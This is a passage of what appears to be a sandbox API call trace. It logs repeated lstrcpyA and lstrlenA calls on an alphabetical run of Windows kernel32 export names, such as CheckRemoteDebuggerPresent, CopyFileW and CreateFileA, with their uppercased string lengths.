[0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0101.588] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0101.589] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0101.589] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0101.589] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0101.589] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0101.589] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0101.589] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0101.589] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0101.589] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0101.589] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0101.589] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0101.589] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0101.589] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0101.589] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0101.589] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0101.589] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0101.590] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0101.590] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0101.590] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0101.590] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0101.590] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0101.590] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0101.590] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0101.590] lstrlenA (lpString="BEEP") returned 4 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0101.590] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0101.590] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0101.590] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0101.590] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0101.590] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0101.590] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0101.590] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0101.591] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0101.591] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0101.591] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0101.591] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0101.591] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0101.591] lstrlenA (lpString="CANCELIO") returned 8 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0101.591] lstrlenA (lpString="CANCELIOEX") returned 10 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0101.591] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0101.591] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0101.591] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0101.591] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0101.591] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0101.591] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0101.591] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0101.591] lstrlenA (lpString="CHECKELEVATION") returned 14 [0101.591] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0101.592] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0101.592] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0101.592] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0101.592] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0101.592] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0101.592] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0101.592] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0101.592] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0101.592] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0101.592] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0101.592] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0101.592] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0101.593] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0101.593] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0101.593] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0101.593] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0101.593] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0101.593] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0101.593] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0101.593] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0101.593] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0101.593] lstrlenA (lpString="CLOSESTATE") returned 10 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0101.593] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0101.593] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0101.593] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0101.593] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0101.593] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0101.593] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0101.593] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0101.593] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0101.593] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0101.593] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0101.594] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0101.594] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0101.594] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0101.594] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0101.594] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0101.594] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0101.594] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0101.594] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0101.594] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0101.594] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0101.594] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0101.594] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0101.594] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0101.594] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0101.594] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0101.594] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0101.594] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0101.594] lstrlenA (lpString="COPYCONTEXT") returned 11 [0101.594] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0101.595] lstrlenA (lpString="COPYFILE2") returned 9 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0101.595] lstrlenA (lpString="COPYFILEA") returned 9 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0101.595] lstrlenA (lpString="COPYFILEEXA") returned 11 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0101.595] lstrlenA (lpString="COPYFILEEXW") returned 11 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0101.595] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0101.595] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0101.595] lstrlenA (lpString="COPYFILEW") returned 9 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0101.595] lstrlenA (lpString="COPYLZFILE") returned 10 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0101.595] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0101.595] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0101.595] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0101.595] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0101.595] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0101.595] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0101.595] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0101.595] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0101.595] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0101.595] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0101.595] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0101.595] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0101.596] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0101.596] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0101.596] lstrlenA (lpString="CREATEEVENTA") returned 12 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0101.596] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0101.596] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0101.596] lstrlenA (lpString="CREATEEVENTW") returned 12 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0101.596] lstrlenA (lpString="CREATEFIBER") returned 11 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0101.596] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0101.596] lstrlenA (lpString="CREATEFILE2") returned 11 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0101.596] lstrlenA (lpString="CREATEFILEA") returned 11 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0101.596] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0101.596] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0101.596] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0101.596] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0101.596] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0101.596] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0101.596] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0101.596] lstrlenA (lpString="CREATEFILEW") returned 11 [0101.596] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0101.597] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0101.597] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0101.597] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: 